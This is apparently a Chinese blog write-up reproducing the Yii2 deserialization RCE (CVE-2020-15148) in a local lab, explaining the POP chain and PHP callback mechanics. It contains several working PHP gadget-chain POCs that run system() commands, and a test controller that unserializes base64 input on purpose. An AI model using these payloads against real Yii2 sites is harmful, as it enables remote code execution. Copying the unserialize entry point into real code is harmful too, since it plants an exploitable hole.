参考文章:
CVE-2020-15148 Yii2反序列化RCE POP链分析
大部分内容都是参考以上文章,我更多的是从一个菜鸡视角解释和总结一下。
环境搭建
Release 2.0.37 · yiisoft/yii2 · GitHub
这里在phpstudy上搭建2.0.37版本的yii环境。
安装好后先进入config/web.php给cookie随便添加个密钥:
然后在根目录下命令:
php yii serve
默认服务端口为8080,如果需要用其它端口:
php yii serve --port=8888
访问localhost:8080即可看到搭建好的网页。
前置知识
控制器
localhost:8080/?r=
这个url是在调用控制器。
在controller目录下可以自定义控制器,且对文件名和类名,方法名有所要求。
如:
我们在该目录下新建一个TestController.php文件:
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller
{
public function actionTest()
{
phpinfo();
}
}
?>
基本格式便是如此。
类名及文件名要相同,且以xxx+Controller为名,且首字母要求大写。
方法名是以action+xxx为名,首字母要求大写。
而对r传参的时候都要传递小写字母:
讲这个的目的是等分析完链子后,我们需要构造一个反序列化的控制器来作为入口完成实验。
第一条链
影响范围:Yii2版本<2.0.38
漏洞出发点:
vendor\yiisoft\yii2\base\BatchQueryResult.php
中BatchQueryResult类的__destruct方法:
因为__destruct方法是只需要反序列化后就能触发的方法,所以我们的着眼点很自然地能看向该类方法。
然后跟进reset()函数:
$_dataReader是可以通过序列化控制的,可以寻找有__call,而无close方法的类,由此触发__call方法。
全局搜索(vscode ctrl+shift+f),发现合适的方法:
\vendor\fzaninotto\faker\src\Faker\Generator.php
可能有人会不清楚__call方法是怎么样获取参数的(比如我),这里给一个例子:
<?php
class test
{
public function __call($a,$b)
{
echo $a;
var_dump($b);
}
}
$test1=new test();
$test1->no_func('aaa','bbb');
?>
这里会输出
no_func
array(2) { [0] => string(3) "aaa" [1] => string(3) "bbb" }
也就是说__call方法会把错误调用或者不存在的方法作为第一个参数,而给这个方法的参数化为数组成为第二个参数。
跟进format函数:
call_user_func_array:
call_user_func_array(callable $callback, array $args) callback 被调用的回调函数。 args 要被传入回调函数的数组。
这是官方给出的两个很好的示例:
1.
<?php
function foobar($arg, $arg2) {
echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>
输出:
foobar got one and two
foo::bar got three and four
2.使用命名空间的情况:
<?php
namespace Foobar;
class Foo {
static public function test($name) {
print "Hello {$name}!\n";
}
}
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
?>
输出:
Hello Hannes!
Hello Philip!
眼光回到 getFormatter()函数:
call_user_func_array()的第二个参数是空数组,上面这段代码决定了第一个参数的返回值。
其中formatters是protected $formatters = array();,是我们可以进行控制的参数,也就是说我们可以通过初始化formatters,给其的close键名赋值。由于call_user_func_array()的参数支持调用对象中的函数,我们便可以借此传递任意类的任意方法。
比如:
由此我们可以用call_user_func_array()去调用某个类里面的方法,这个方法能够rce。
对这个方法是有所限定的:
1.这个方法是无需传递参数的,但它能用到它的属性作为参数,就比如上面我给出的例子,是如$this->这样来调用参数,这样我们才可以通过序列化控制它的值来达到效果。
2.这个方法要么是原生类的方法,要么是已有类的方法。
师傅们是以call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
的正则进行全局寻找。
最终在createAction和indexAction中找到能用的方法:
class Action extends \yii\base\Action
{
public $checkAccess;
public $id;
''''''''
''''''''
''''''''
}
class CreateAction extends Action
{
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
........
........
........
}
}
所以,整个利用链:
yii\db\BatchQueryResult::__destruct
->
Faker\Generator::__call
->
yii\rest\CreateAction::run()
poc:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ipconfig';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
在开头我们用的控制器里面写入
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller
{
public function actionTest($data)
{
return unserialize(base64_decode($data));
}
}
?>
作为反序列化入口。(记得加return,,,nt了,,,)
传参rce成功。
其它链子
有时间再来复现:
yii 2.2.37
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
yii 2.0.38
1.
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
2.
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
yii 2.0.42
1.
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
2.
<?php
namespace yii\rest
{
class IndexAction{
function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Symfony\Component\String
{
use yii\rest\IndexAction;
class LazyString
{
function __construct()
{
$this->value = [new indexAction(), "run"];
}
}
class UnicodeString
{
function __construct()
{
$this->value = new LazyString();
}
}
}
namespace Faker
{
use Symfony\Component\String\LazyString;
class DefaultGenerator
{
function __construct()
{
$this->default = new LazyString();
}
}
class UniqueGenerator
{
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension
{
use Faker\UniqueGenerator;
class RunProcess
{
function __construct()
{
$this->processes[] = new UniqueGenerator();
}
}
}
namespace
{
use Codeception\Extension\RunProcess;
$exp = new RunProcess();
echo(base64_encode(serialize($exp)));
}